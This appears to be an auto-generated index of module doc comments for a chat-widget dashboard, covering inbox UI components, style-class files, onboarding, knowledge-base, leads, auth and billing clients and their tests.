- **`embed-app.conversations.list-body`** — The list pane's own scroll region (split from ConversationsClient): the loading skeleton, the honest empty states (no search results / no stored conversations / nothing needs a human), the row listbox itself, and the load-more footer (auto-fires via the parent's IntersectionObserver on the sentinel div; the button stays as the accessible / no-IO fallback). Purely presentational — the parent owns list/pagination state, the roving-tabindex keydown handler, and the IntersectionObserver effect that reads `listScrollRef`/ `loadMoreSentinelRef`, so those refs are simply forwarded down and attached here (same DOM nodes, same effect timing as before the split).  
  *embed-dashboard/src/app/(dash)/conversations/ConvListBody.tsx:2*
- **`embed-app.conversations.list-header`** — The list pane's sticky top bar (split from ConversationsClient): the widget picker (only rendered when there is a choice), the search box, and the filter-pill row (needs-human / show-empty / active tag filter / clear search). Purely presentational + callback props — every filter's state and its list-refetch live in the parent (ConversationsClient), entangled with the 15s list-refresh poll and the debounced search.  
  *embed-dashboard/src/app/(dash)/conversations/ConvListHeader.tsx:2*
- **`embed-app.conversations.panes`** — The thread-side panes of the messenger (redesign 2026-07-10): compact dark header (identity + takeover + tags + convert), the scrollable thread with sticky date-divider pills and clustered bubbles that mirror the widget's own bubble language (visitor left/neutral, Lily right/ sakura, operator right/gold, 4px tail corner on the last bubble of a cluster, floated per-bubble times), the operator composer, and the collapsible notes drawer. Plus the list-side search bar + empty state.  
  *embed-dashboard/src/app/(dash)/conversations/ConversationPanes.tsx:2*
- **`embed-app.conversations.row`** — The inbox row, Telegram anatomy (messenger redesign 2026-07-10): avatar circle (deterministic token accent + live dot while ongoing) · line 1: visitor label + tier/intent chips + smart time (today→HH:MM, this week→weekday, older→date) · line 2: one-line preview + meta glyph cluster (sentiment ↑/–/↓, converted ●, human ◆) + message-count pill · optional tags line (click-to-filter). Same public props as before — the showcase stages it with deterministic items.  
  *embed-dashboard/src/app/(dash)/conversations/ConvRow.tsx:2*

### embed-app/design
- **`embed-app.analytics.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the analytics page (module.css retired).  
  *embed-dashboard/src/app/(dash)/analytics/analytics.classes.ts:8*
- **`embed-app.code-editor-modal.classes`** · _stable_ · since 0.1.0 — Structural utility classes for CodeEditorModal (module.css retired).  
  *embed-dashboard/src/components/CodeEditorModal.classes.ts:9*
- **`embed-app.conversations.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the conversations messenger (module.css retired).  
  *embed-dashboard/src/app/(dash)/conversations/conversations.classes.ts:25*
- **`embed-app.home.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the dashboard home (module.css retired).  
  *embed-dashboard/src/app/(dash)/page.classes.ts:8*
- **`embed-app.hours.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the business-hours + transcript-email editors (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/hours/hours.classes.ts:7*
- **`embed-app.insights.classes`** · _stable_ · since 0.1.0 — Structural utility classes shared by the insights page, its SentimentBar and skeleton (module.css retired).  
  *embed-dashboard/src/app/(dash)/insights/insights.classes.ts:10*
- **`embed-app.install.classes`** · _stable_ · since 0.1.0 — Structural utility classes shared by the install page and its skeleton (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/install/install.classes.ts:11*
- **`embed-app.lily-landing.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the lily-host bare-root label (module.css retired).  
  *embed-dashboard/src/app/lily-landing/lilyLanding.classes.ts:9*
- **`embed-app.lily-public.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the hosted Lily page + its skeletons (module.css retired).  
  *embed-dashboard/src/app/l/[slug]/lilyPublic.classes.ts:9*
- **`embed-app.locale-switcher.classes`** · _stable_ · since 0.1.0 — Structural utility classes for LocaleSwitcher (module.css retired).  
  *embed-dashboard/src/components/LocaleSwitcher.classes.ts:6*
- **`embed-app.onboarding.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the onboarding wizard (module.css retired).  
  *embed-dashboard/src/app/onboarding/onboarding.classes.ts:20*
- **`embed-app.overview.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the widget overview home (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/overview/overview.classes.ts:9*
- **`embed-app.persona-prompt-studio.classes`** · _stable_ · since 0.1.0 — Structural utility classes for PersonaPromptStudio (module.css retired).  
  *embed-dashboard/src/components/PersonaPromptStudio.classes.ts:8*
- **`embed-app.publish-bar.classes`** · _stable_ · since 0.1.0 — Structural utility classes for PublishBar (module.css retired).  
  *embed-dashboard/src/components/PublishBar.classes.ts:13*
- **`embed-app.settings.account.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the account/security page (module.css retired).  
  *embed-dashboard/src/app/(dash)/settings/account/account.classes.ts:17*
- **`embed-app.settings.billing.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the billing page + skeleton (module.css retired).  
  *embed-dashboard/src/app/(dash)/settings/billing/billing.classes.ts:14*
- **`embed-app.share-accept.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the widget-share accept page (module.css retired).  
  *embed-dashboard/src/app/share/accept/accept.classes.ts:6*
- **`embed-app.showcase.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the internal showcase stage (module.css retired — repo at ZERO).  
  *embed-dashboard/src/app/showcase/showcase.classes.ts:8*
- **`embed-app.usage-bars.classes`** · _stable_ · since 0.1.0 — Structural utility classes for UsageBars (module.css retired).  
  *embed-dashboard/src/components/UsageBars.classes.ts:7*
- **`embed-app.webhooks.classes`** · _stable_ · since 0.1.0 — Structural utility classes shared by the webhooks page, its skeleton and split views (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/webhooks/webhooks.classes.ts:9*
- **`embed-app.widgets.abtests.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the A/B tests dashboard + modal + skeleton (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/abtests/abtests.classes.ts:18*
- **`embed-app.widgets.brand.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the appearance editor (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/brand/brand.classes.ts:21*
- **`embed-app.widgets.knowledge.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the knowledge wiki (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/knowledge/knowledge.classes.ts:21*
- **`embed-app.widgets.lilypage.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the Lily Page studio + skeleton (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/lilypage.classes.ts:14*
- **`embed-app.widgets.mode.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the mode editor + preview + skeleton (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/mode/mode.classes.ts:20*
- **`embed-app.widgets.persona.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the persona editor (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/persona/persona.classes.ts:21*
- **`embed-app.widgets.preview.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the WYSIWYG preview page (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/preview/preview.classes.ts:21*
- **`embed-app.widgets.share.classes`** · _stable_ · since 0.1.0 — Structural utility classes for the per-widget share modal (module.css retired).  
  *embed-dashboard/src/app/(dash)/widgets/share/share.classes.ts:20*

### embed-app/draft
- **`embed-app.draft.publish-bar`** — Component tests for PublishBar. The bar has two distinct display states: "clean" state (hasDraft=false): - Renders "Saved · up to date" label with no action buttons. - role="status" so SR announces the successful publish state. "draft" state (hasDraft=true): - Renders role="status" + aria-live="polite" region. - Shows "Unpublished changes" bold text. - Shows draftUpdatedAt relative timestamp when provided. - "Publish changes" and "Discard" buttons are both present and enabled when not busy. - relTime formatting helpers: <60s → "just now"; 90s → "1m ago"; 90min → "1h ago"; 2d → "2d ago". - Error banner from a failed publish action is shown. - Discard shows a ConfirmInline dialog; accepting submits the form, cancelling keeps the draft intact. NOTE: useActionState wraps publishWidgetAction / discardDraftAction. We mock those with vi.fn() stubs — they just have to be callable functions; the component connects them through useActionState so they never receive a direct call from the test without a real form submit.  
  *embed-dashboard/src/test/PublishBar.test.tsx:2*
- **`embed-app.draft.publish-bar`** — The Draft → Publish control (§draft-publish). Shown on the drafted editors (Persona / Mode / Appearance): a calm "up to date" when the live config and the draft match, or an "unpublished changes" state with one-click Publish + Discard when the owner has staged edits. Publish promotes the whole draft to live in one gesture; Discard reverts to the live config. Both are server actions that revalidate every editor so the status reflects reality.  
  *embed-dashboard/src/components/PublishBar.tsx:4*

### embed-app/first-run
- **`embed-app.first-run.checklist`** — Dismissible horizontal setup checklist shown to new widget owners. Guides the user through the four core setup steps: Persona → Knowledge → Appearance → Deploy Completion heuristic (honest — never fakes "done"): - Persona   : widget.persona_script is non-empty - Knowledge : widget.brand_kb_url is non-empty - Appearance: widget.appearance exists and has a non-default theme color (we check appearance.theme_color ≠ undefined/null) - Deploy    : widget.published_at is non-null (widget has been published) Gating: a true onboarding guide persists until setup is done, not for a fixed window — shown while fewer than all 4 steps are complete, then it retires itself. Dismissal is persisted in localStorage keyed by widget id. Render target: injected just below the tab strip on the setup-flow pages (Persona / Knowledge / Appearance / Deploy), each passing its activeStep, so the user always sees progress + the next step during setup.  
  *embed-dashboard/src/components/FirstRunChecklist.tsx:4*
- **`embed-app.first-run.checklist`** — Tests for the FirstRunChecklist component. Coverage: 1. Renders all 4 setup steps (Persona, Knowledge, Appearance, Deploy). 2. Step hrefs include ?id=<widgetId> for every non-active step. 3. The active step (Persona) is not a link — it uses aria-current="step". 4. Dismiss button hides the checklist and writes localStorage. 5. Already-dismissed localStorage value suppresses the checklist entirely. 6. Widgets older than 7 days are not shown. 7. Persona step is marked done when persona_script is non-empty. 8. Persona step is marked upcoming when persona_script is empty.  
  *embed-dashboard/src/test/FirstRunChecklist.test.tsx:2*

### embed-app/forgot-password
- **`embed-app.forgot-password.actions`** — Server action for the "Forgot password?" page. Relays the email to the auth directly (POST /auth/password/forgot) which emails a reset link pointing at <dashboard-base>/reset-password?token=… . Anti-enumeration: upstream answers 200 whether or not the email exists, and we extend the same promise over transport faults — the page shows ONE success view for every submitted address, so a watcher can never probe which emails have accounts. (Trade-off: a tenants outage also looks like success; the email simply never arrives and the user retries.)  
  *embed-dashboard/src/app/forgot-password/actions.ts:4*

### embed-app/hooks
- **`embed-app.hooks.use-dirty-state`** — Tests the shared dirty-flag hook: it starts clean, can be marked dirty, and auto-resets when the save-success flag flips truthy.  
  *embed-dashboard/src/test/useDirtyState.test.ts:2*
- **`embed-app.hooks.use-dirty-state`** — Form dirty-flag + unsaved-changes guard + auto-reset on a successful save. Collapses the 3-line idiom the form editors repeated verbatim: const [isDirty, setIsDirty] = useState(false); useDirtyGuard(isDirty); useEffect(() => { if (state?.ok) setIsDirty(false); }, [state?.ok]); into `const [isDirty, setIsDirty] = useDirtyState(state?.ok)`. Pass the server action's success flag (typically `state?.ok` from useActionState); the dirty flag resets to clean whenever that flips truthy. Returns the same [isDirty, setIsDirty] tuple as useState, so existing setIsDirty(true) calls keep working.  
  *embed-dashboard/src/hooks/useDirtyState.ts:2*

### embed-app/insights
- **`embed-app.insights.data`** — The data layer of the weekly-insights page — account sentiment, knowledge gaps, top conversation fetchers + locale formatters (split from the page: viewlogic wave, server-side logic out of the render file).  
  *embed-dashboard/src/app/(dash)/insights/insightsData.ts:2*
- **`embed-app.insights.sentiment-bar`** — One row of the sentiment breakdown (checkpoint 3, wave-2 consistency audit, 2026-07-13) — extracted from 4 copy-pasted inline-style blocks in insights/page.tsx (~200 lines → this component + ~40 lines at the call site). Visuals are byte-for-byte the pre-extraction inline styles, now selected by `tone` via CSS modifier classes instead of duplicated per row: positive (sage), neutral (mute/line), negative (hanko-red), unscored (mute-light) — the same 4 tokens each row already used.  
  *embed-dashboard/src/app/(dash)/insights/SentimentBar.tsx:4*

### embed-app/install
- **`embed-app.install.client`** — Client component for the install page. Receives the real widget public_id and default_mode from the server component (loaded from tenants) and uses them to generate the embed snippet with correct data-attributes. The snippet copy, platform selector, verification panel, and AI helper chat are all client-side interactions.  
  *embed-dashboard/src/app/(dash)/widgets/install/InstallClient.tsx:4*
- **`embed-app.install.client`** — Tests for the InstallClient component. Key behaviors: - Renders the widgetId and widgetName in the page header. - Platform selector renders all 8 platform buttons, the active one has aria-pressed=true and the others aria-pressed=false. - Clicking a platform button activates it (aria-pressed flips). - The "Plain HTML" platform is active by default. - The install steps heading shows the active platform name + step count. - The copy button starts with label "Copy snippet to clipboard". - Clicking copy calls navigator.clipboard.writeText with a snippet that contains the widgetId and a type="module" attribute. - When defaultMode is NOT "chat", the snippet includes data-default-mode. - When defaultMode IS "chat", the snippet does NOT include data-default-mode. - After a successful copy the button label changes to "✓ Copied". - The snippet code block is rendered inside the Install snippet section. - Clicking "Next.js" platform shows the Next.js snippet hint text.  
  *embed-dashboard/src/test/InstallClient.test.tsx:2*

### embed-app/knowledge
- **`embed-app.knowledge.wiki`** — The Knowledge WIKI (KB ULTRAWIKI M2) — the tenant's micro-Wikipedia. Replaces the single-brand_kb_url KnowledgeEditor: since M1, EVERY source (url page / uploaded file / pasted text) is one `kb/sources` row, and this page is its library. Anatomy: · Masthead   — live aggregate (N sources · M chunks · indexed X ago) with a breathing status dot while anything indexes, plus the plan-quota meter (kb_pages) with the upgrade gate. · Composer   — the star. Two affordances: paste one-or-many URLs (live per-URL verdict chips mirroring the server's rejection reasons BEFORE submit) and a keyboard-operable drag-and-drop zone (multi-file, per-file XHR progress). · Library    — the shelf. Newest first, grouped Pages / Documents & notes when both exist; per-row status (pulsing queued, sage indexed + chunk count, danger failed with the error INLINE + Retry), per-row reindex/delete (Modal confirm). · Test       — "ask Lily what she knows" → Test drive deep-link. Data flow: initial sources + quota arrive from the server component; everything after runs through the BFF (/api/kb/sources, /api/kb-upload). While any source is queued the list polls every 4s inside a bounded window (extended by every action) so statuses flip in place — each flip announces via aria-live and flashes the row.  
  *embed-dashboard/src/app/(dash)/widgets/knowledge/KnowledgeWiki.tsx:4*
- **`embed-app.knowledge.wiki`** — Tests for the Knowledge WIKI (KB ULTRAWIKI M2) — the behaviours the milestone gates name explicitly: Batch-add flow: - Typing one valid https url + one http:// url renders live verdict chips (ok tick / "Needs https://") with the ready/attention summary, and the submit button counts ONLY the ready links. - Submit POSTs only the locally-valid urls to /api/kb/sources; the response's `added` sources appear as queued (pulsing) rows; the locally-rejected url stays in the textarea for fixing and the rejection strip explains it in customer language. - Server-side rejections (e.g. already_added) render the same strip. Quota gate: - At the cap the composer shows the upgrade gate (link to billing) and new urls preview as "Over the plan's page limit" with submit disabled. - The backend's typed 403 {code:"kb_page_limit_reached"} renders the gate too (races: another seat filled the last page). - Unlimited plans render the ∞ meter and never gate. Delete confirm: - The row's delete action opens the shared <Modal> with a danger Remove button; confirming DELETEs the source and drops the row; cancel keeps it. Status lifecycle: - A queued source polls the list and flips to Indexed in place (with chunk count) when the backend reports it. - Reindex-all optimistically re-queues every row; per-row reindex re-queues one row (202 path). - A failed source surfaces its error INLINE with a Retry button. Files: - Pre-flight failures (wrong type) render inline without any upload. - A valid file uploads via XHR (per-file progress plumbing) and the library refetches when it lands. Empty state: - The dashed directive renders and the composer textarea holds focus.  
  *embed-dashboard/src/test/KnowledgeWiki.test.tsx:2*

### embed-app/leads
- **`embed-app.leads.booking-actions`** — Server action for the unified inbox's booking lifecycle (S2 P0.5): PATCH /me/widgets/{id}/bookings/{booking_id} with a target status. Confirm / arrived / no-show / cancel are all this ONE action — the view renders only the legal moves (BOOKING_TRANSITIONS mirror), and the server's 409 invalid_transition stays the honest backstop for races (two tabs pressing at once): the client surfaces the message and refreshes, never guesses.  
  *embed-dashboard/src/app/(dash)/widgets/leads/actions.ts:4*
- **`embed-app.leads.classes`** — Phase-3 conversion №7 (2026-07-17): leads.module.css (242L) deleted — classes shared between LeadsView rows/skeleton, all theme utilities. Faithful-quirk note: the ≤980px column hiding applies to the TDs only (as the stylesheet did — th cells never carried those classes).  
  *embed-dashboard/src/app/(dash)/widgets/leads/leads.classes.ts:2*
- **`embed-app.leads.view`** — Client view for the per-widget UNIFIED inbox (S2 P0.5): captured leads AND booking records in ONE kind-discriminated list — NO separate tab (NAO canon). Renders: - the page header + an honestly-labelled count ("N entries · 30d"), - ONE table, newest-first: lead rows (name, contact, message) and booking rows (item + slot, status pill, the 🌙 outside-hours marker — the «ночная выручка» ROI column: this booking arrived while the shop was closed) interleaved by created_at, - INLINE booking lifecycle actions mirroring the server's legal matrix (new → confirm/cancel; confirmed → arrived/no-show/cancel; terminal → none). A 409 invalid_transition (raced elsewhere) surfaces honestly and refreshes the row set, - the TEACHING empty state (what lead capture is + setup CTA), - "Export CSV" for the WHOLE inbox — leads AND bookings (GDPR Art. 20) — plus the GDPR retention note, - timezone-honest timestamps: business clock when known, browser clock otherwise, with the «Times in {tz}» label when the two differ (F4). Data flows in as merged `entries` from the server component; booking PATCHes go through the patchBookingAction server action (JWT stays server-side) and update the local list from the returned row.  
  *embed-dashboard/src/app/(dash)/widgets/leads/LeadsView.tsx:4*
- **`embed-app.leads.view`** — Tests for the UNIFIED inbox LeadsView (S2 P0.5). Key behaviors: Tab strip (shared widgetTabs helper): - Renders the canonical tab strip via widgetTabs(). - "Inbox" tab (F12 naming — route stays /widgets/leads) is rendered as the active tab (aria-current="page", no href). Unified rendering (canon: NO separate booking tab): - Lead rows and booking rows interleave in ONE table. - Booking rows show item name, slot, status pill and the 🌙 outside-hours ROI marker. - Booking action buttons mirror the server transition matrix exactly (new → confirm/cancel; confirmed → arrived/no-show/cancel; terminal → none) and PATCH through the server action. - Lead rows render name/contact/message and never get action buttons. Empty state / count badge / truncation / GDPR / export CSV — as before, now over merged entries ("N entries · 30d"); the CSV export covers BOTH halves, so its button follows entries, not leads (F12). Timezone honesty (F4): slot + captured cells render in the widget's BUSINESS zone when the page passes one (deterministic — no hydration dance), else in the browser zone via the mounted two-pass pattern; the «Times in {tz}» note appears only when viewer-zone ≠ business-zone.  
  *embed-dashboard/src/test/LeadsView.test.tsx:2*

### embed-app/lib
- **`embed-app.lib.account-analytics`** — Server-only aggregator: merges per-widget ConversationAnalytics from agent-lite into a single account-level summary. Used by the home, analytics, and insights pages so each calls one function instead of fan-out per widget. Errors from agent-lite (AgentLiteNotConfiguredError / AgentLiteApiError) are caught per-widget and treated as zeros so a single misconfigured widget never breaks the whole dashboard.  
  *embed-dashboard/src/lib/accountAnalytics.ts:2*
- **`embed-app.lib.action-error`** — Single safe, locale-aware error mapper for all server actions. Keeps internal service names, raw status codes, and backend message bodies OUT of the browser. Rules: - TenantsNotConfiguredError: returns the "notConfigured" i18n key message (safe config-state hint — no backend data in it). - TenantsApiError: LOG the raw detail server-side only; return a status- keyed message from the `errors` i18n namespace. - Anything else: log + return generic. Call sites already call `describeError(e)` — update them to `await describeError(e)` (the function is now async).  
  *embed-dashboard/src/lib/actionError.ts:4*
- **`embed-app.lib.action-locale`** — Locale resolution helpers for server actions. Server actions run outside the Next.js rendering pipeline, so `getTranslations()` cannot use the automatically-resolved request locale — we must read the `NEXT_LOCALE` cookie ourselves and pass it explicitly. `actionLocale`: reads the NEXT_LOCALE cookie, validates it against the 6 supported locales, and defaults to "en". Safe to call from any `"use server"` action. `actionT`: shorthand that calls getTranslations with the caller's locale + the requested namespace.  Returns the same strongly-typed translator that `getTranslations` returns from pages/layouts.  
  *embed-dashboard/src/lib/actionLocale.ts:4*
- **`embed-app.lib.agent-base`** — The public agent-lite base URL used by browser-side calls to the embed API (e.g. the avatar catalog at `${agentBase()}/v1/embed/avatars`). Reads NEXT_PUBLIC_AGENT_BASE when set, else the dev default, with any trailing slash trimmed. Client-safe (no `server-only`) — it only touches a NEXT_PUBLIC_* var and is imported by "use client" components. Previously copy-pasted in AppearanceEditor and the avatar StudioClient (the latter's comment literally read "mirrors AppearanceEditor.agentBase"). This is the single definition.  
  *embed-dashboard/src/lib/agentBase.ts:2*
- **`embed-app.lib.agent-lite-client`** — Tests for agentLite.ts — the server-side analytics/conversations client. Strategy: all public functions are async and call `fetch`. We stub `fetch` via vi.stubGlobal and set INTERNAL_SECRET / EMBED_RUNTIME_INTERNAL_URL via vi.stubEnv so the full code path (including the private normalizers) is exercised without a live agent-lite service. Covered: AgentLiteNotConfiguredError — thrown when INTERNAL_SECRET is absent AgentLiteApiError           — thrown on non-2xx responses normalize()                 — defensive field coercion (via getConversationAnalytics) normalizeConversationList() — sentiment/intent/score guard (via listConversations) normalizeTopConversation()  — null-on-missing-id / rating-range guard normalizeSentimentInsights()— breakdown defaults-to-zero (via getSentimentInsights) normalizeRevenueInsights()  — money helper floor-0 (via getRevenueInsights)  
  *embed-dashboard/src/test/agentLite.test.ts:2*
- **`embed-app.lib.agent-lite-client`** — Tests for the inbox-depth additions to agentLite.ts (#773 wave 2): searchConversations()    — GET /internal/conversations with the ?q= + ?tag= filters (visitor/id substring + exact tag). addConversationTag()     — POST /v1/conversations/{id}/tags {tag} (bearer). removeConversationTag()  — DELETE /v1/conversations/{id}/tags/{tag} (bearer). addConversationNote()    — POST /v1/conversations/{id}/notes {text} (bearer). normalizeConversationList() — tags[] defensive coercion (via search/list). normalizeTranscript()    — tags[] + notes[] coercion (body|text key, via getConversationTranscript). normalizeConversationTag() (client-safe validator in widgetSchema) is also unit-tested here so the client + agent-lite Rust validator stay aligned. Strategy mirrors agentLiteTakeover.test.ts: stub global fetch + env vars so the full request/normalize path runs without a live agent-lite.  
  *embed-dashboard/src/test/agentLiteInbox.test.ts:2*
- **`embed-app.lib.agent-lite-client`** — Server-side typed client for the openalice-agent-lite /internal analytics surface. Runs server-side only (route handlers / server components) so the shared INTERNAL_SECRET never reaches the browser. The `server-only` import enforces that at build time. Endpoint (openalice-agent-lite): GET /internal/analytics/summary?widget_id=<public_id>&days=<N> → ConversationAnalytics (see shape below) Auth: header `x-internal-secret: <INTERNAL_SECRET>` — the same shared broadcast secret agent-lite + tenants validate (compose wires it from INTERNAL_BROADCAST_SECRET). The dashboard reaches agent-lite server-side over the docker network via EMBED_RUNTIME_INTERNAL_URL (default http://openalice-agent-lite-dev:3050).  
  *embed-dashboard/src/lib/agentLite.ts:2*
- **`embed-app.lib.agent-lite-client`** — Tests for the live-takeover additions to agentLite.ts (EMBED_LIVE_TAKEOVER_V1): takeoverConversation()   — POST /v1/conversations/{id}/takeover {operator_name} with the tenant bearer. sendOperatorMessage()    — POST /v1/conversations/{id}/operator-message {text} with the tenant bearer. releaseConversation()    — POST /v1/conversations/{id}/release {} with the tenant bearer. normalizeConversationList() — control_mode/operator_name defensive coercion (via listConversations). normalizeTranscript()    — control_mode/operator_name + per-message operator name (top-level or meta.name) coercion (via getConversationTranscript). Strategy mirrors agentLite.test.ts: stub global fetch + env vars so the full request/normalize path runs without a live agent-lite.  
  *embed-dashboard/src/test/agentLiteTakeover.test.ts:2*
- **`embed-app.lib.api-error`** — Single helper for reading a backend error body, regardless of shape. Every OpenAlice Rust service (auth / tenants / agent-lite) now wraps every 4xx/5xx in the uniform, lossless error envelope: { "error": { "code": "<machine_code>", "message": "<human message>", ... } } This helper extracts the human message across that envelope AND the legacy `{"error":"msg"}` / `{"message":"msg"}` shapes, so the lib `request` helpers and proxy routes stay correct across the rollout. Returns `fallback` (usually the raw response text) when no message field is present.  
  *embed-dashboard/src/lib/apiError.ts:2*
- **`embed-app.lib.api-insights-route`** — Shared GET-route handler factory for the six near-identical internal- secret read proxies that forward straight to an openalice-agent-lite `getXxx(widgetId, days) => Promise<T>` client (analytics summary + the csat/intent/revenue/sentiment/top-conversation insights). All six routes were hand-copies of the same shape (parse widget_id + days, gate tenant ownership, call the getter, map AgentLiteNotConfiguredError → 503 and AgentLiteApiError → passthrough-4xx/collapsed-502) — this factory is that shape, parametrized by which getter to call. `insights/leads` and `insights/knowledge-gaps` are DELIBERATELY NOT wired through this factory — both also accept a `limit` query param the other six don't have, a real behavioral difference, not incidental duplication (dead-code audit A4, 2026-07). Byte-identical by construction: this is the same code the six route files used to carry inline, only reachable through one place now.  
  *embed-dashboard/src/lib/apiInsightsRoute.ts:2*
- **`embed-app.lib.auth-client`** — Server-side auth client — THE PLATFORM CHAIN (runbook #17, Law 6: no auth proxies). Flows go DIRECTLY to openalice-auth and come back with an ORG-SCOPED platform JWT for the session cookie: GET  {auth}/me/orgs               → first org (created when none) POST {auth}/orgs/{id}/token       → ORG JWT {org{org_id,role,perms}} POST {auth}/orgs                  → the customer org (creator=owner) POST {auth}/orgs/{id}/token       → org JWT POST {tenants}/me/workspace/ensure → idempotent Embed workspace seed The org token is tid-compatible everywhere (kernel rule: tenant_id() = tid → org.org_id → user_id), so tenants' /me/* surface accepts it as-is — proven e2e 2026-07-05 (ensure 201 → idempotent 200 → /me/widgets 200). Exported names and result shapes are UNCHANGED from the proxy era, so the login/signup/reset server actions did not move. Runs server-side only; the customer's password never reaches the browser bundle. Error policy resistance); reset paths never log request bodies.  
  *embed-dashboard/src/lib/authClient.ts:2*
- **`embed-app.lib.auth-client`** — Tests for `tenantsLogin`'s SOTA-2026 proof-of-work challenge surfacing (oa_framework::pow_captcha, replaces the old per-email hard lock — see crates/identity/src/throttle.rs's module doc). Key behaviors: - A 401 with `error.challenge_required: true` + `error.pow_challenge` → surfaces as `AuthRejected.powChallenge` (a NEW capability; previously the body of a non-ok response was never even parsed). NESTING NOTE: openalice-auth's app-level error envelope (`oa_framework::error_envelope::normalize_errors`) wraps every 4xx/5xx body's fields under `error.*` — caught live during deploy verification (the fields were originally top-level and silently dropped in production). These mocks use the REAL nested shape. - An ORDINARY 401 (challenge_required absent/false, or no body) → `powChallenge` stays `undefined` — byte-identical to the pre-existing behavior, no regression for the common case. - `powSolution`, when supplied, is sent as `pow_solution` in the POST body. `fetch` is mocked directly — `authClient.ts` is `server-only` (stubbed by the vitest alias, see vitest.config.ts) and talks to `AUTH_INTERNAL_URL` via the global `fetch`.  
  *embed-dashboard/src/test/authClient.test.ts:2*
- **`embed-app.lib.balance-formatters`** — Pure formatting helpers for the prepaid balance card. No server-only imports — safe to import in tests and server components alike. Exported helpers: formatEur(cents)      — integer cents → "€X.XX" string formatTxAmount(cents, kind) — signed display string for a transaction row balanceStatusKind(cents, overCap) — "over"|"empty"|"low"|"normal" formatTxDate(iso)     — ISO timestamp → "Jun 19" short label txLabel(kind, reference) — human kind label (top-up, conversation, voice …)  
  *embed-dashboard/src/lib/balanceFormatters.ts:2*
- **`embed-app.lib.balance-formatters.test`** — Unit tests for balanceFormatters.ts — pure formatting helpers used by the prepaid balance card on /settings/billing. formatEur: - 0 cents → "€0.00" - 2000 cents (€20 top-up) → "€20.00" - 3 cents (€0.03 conversation) → "€0.03" - 45 cents (€0.45 low-balance case) → "€0.45" - 1200 cents (€12.00 voice) → "€12.00" formatTxAmount: - top-up credit → "+€20.00" - conversation debit → "−€0.03" (uses U+2212 MINUS SIGN) - voice debit → "−€0.12" - refund credit → "+€5.00" - unknown debit kind → "−€1.00" isCredit: - "top-up" → true - "topup" → true - "refund" → true - "credit" → true - "conversation" → false - "voice" → false - "unknown" → false balanceStatusKind: - overCap=true → "over" regardless of balance - 0 cents, overCap=false → "empty" - negative cents → "empty" - 45 cents (< 100 threshold) → "low" - 99 cents → "low" - 100 cents → "normal" - 10000 cents → "normal" - custom threshold: 500 cents, threshold=1000 → "low" txLabel: - "top-up" / null → "top-up" - "topup" / null → "top-up" - "conversation" / null → "conversation" - "voice" / null → "voice minute" - "refund" / null → "refund" - "credit" / "promo" → "promo" - "credit" / null → "credit" - unknown / "INV-123" → "INV-123" - unknown / null → raw kind formatTxDate: - Valid ISO → short month-day string (e.g. "19 Jun" or "Jun 19" depending on locale) - Invalid string → "" - Empty string → ""  
  *embed-dashboard/src/test/balanceFormatters.test.ts:2*
- **`embed-app.lib.billing-client`** — Server-side typed client for the openalice-tenants /me/billing surface. Runs server-side only (server components / server actions) so the tenant bearer token never reaches the browser — `server-only` enforces it. Routes (openalice-tenants/src/handlers/me/{billing.rs,topup.rs}): GET  /me/billing            — BillingState (plan + usage + catalog + billing_enabled feature flag) POST /me/billing/checkout   — { plan } → { checkout_url, plan } POST /me/billing/topup      — { amount_cents, idempotency_key? } → { checkout_url, amount_cents } (one-off prepaid top-up; handler: me/topup.rs) Billing is FEATURE-FLAGGED on the tenants side (MOLLIE_API_KEY). When unset, GET still returns Free defaults with billing_enabled=false and checkout responds 503 — the dashboard renders "billing coming soon" instead of crashing. Reachability: same as the widgets client — server-side over the docker network via EMBED_ACCOUNTS_INTERNAL_URL (default http://openalice-tenants-dev:3990).  
  *embed-dashboard/src/lib/billing.ts:2*
- **`embed-app.lib.billing-rates`** — Prepaid PAYG unit rates (euros-per-unit) mirrored from the openalice-tenants billing defaults. Client-safe — pure constants, no `server-only` import — so both the server billing page and any "use client" component render the SAME numbers the backend charges, with no drift. The tenants service (openalice-tenants) remains the authoritative source of truth; these are the documented dashboard defaults. If tenants' defaults change, update them here in lockstep (and the billing.balance.ratesLine ICU string already interpolates these via {convRate}/{voiceRate}, so the copy never hardcodes a number again). CAVEAT (review #5 N1): the backend rates are env-overridable via PREPAID_RATE_CONVERSATION_CENTS / PREPAID_RATE_VOICE_MINUTE_CENTS (tenants billing.rs). If an operator ever sets those, the backend charges the override while this display still shows the defaults — do NOT override in env without updating here, or better: ship the follow-up that exposes the EFFECTIVE rates through the billing API so the UI stops being a second source of truth.  
  *embed-dashboard/src/lib/billingRates.ts:2*
